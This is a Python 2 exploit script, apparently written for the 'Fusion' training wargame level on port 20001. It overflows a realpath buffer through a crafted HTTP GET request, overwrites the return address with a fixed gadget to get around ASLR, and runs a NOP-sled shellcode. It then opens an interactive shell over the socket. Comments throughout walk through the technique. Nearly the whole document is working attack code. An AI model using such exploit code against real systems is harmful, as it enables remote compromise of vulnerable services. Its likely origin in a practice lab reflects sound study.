PORT = 20001
FUSION_IP = "192.168.180.129"
import socket
import string
import telnetlib

s = socket.socket()
s.connect((FUSION_IP, PORT))

#exploit:
# realpath copies the path to a smaller buffer
# and there's no length checks
# realpath changes ../ or ./ in the buffer so they are illegal bytes
# for the shellcode :)

### actually realpath actually copies data after GET /
### but data can be stored after HTTP/1.1.... with no obligations :)

## since we don't have a ptr to the buffer
## we need to exploit it using known addresses...
## the stack and heap are aslr'ed
## but the code is not Position Independent Code
## that means that I can find gadegts on the main module to get to my shellcode
## overwriting the RET addr with CRASH I was able to look on the registers and stack
## I found out that esp points to my shellcode... so "RET" is what I need to jump to after the overflow
## ret brings me to my shellcode which calls a jump -> 0x7f .... this executes the code after HTTP/1.1 so there are less limitation on the shellcode :)

NOP = "\x90"
TRAP = "\xCC"
payload = NOP * 99 + TRAP + NOP * 400
payload = NOP * 99 + open("shellcode.bin","rb").read()

RET = 0x8049a95
CRASH = 0xbbbbbbbb
JMP_0x7f = '\xeb\x7f'
#recv_data = s.recv(300) # reads data
#print recv_data
#buf_loc = int(recv_data[recv_data.find('0x')+2:][:8], 16) #
buf_loc = RET #0x8049a29 #0x0804a283 #0x08048bf3 #0x08048bf3 # we need to find a gadget
shellcode = 'A' * 63 + JMP_0x7f + 'D' * 70 + 'BBBB' + 'CCCC'
payload_loc = buf_loc# + len("GET /%s HTTP/1.1" % shellcode)
real_payload_loc = string.zfill(hex(payload_loc)[2:].replace('L',''),8).decode('hex')[::-1]
print repr(real_payload_loc.encode('hex'))
shellcode = shellcode.replace('CCCC', real_payload_loc)
s.send("GET /%s HTTP/1.1%s" % (shellcode, payload))
t = telnetlib.Telnet()
t.sock = s
t.interact()
print s.recv(300) # reads data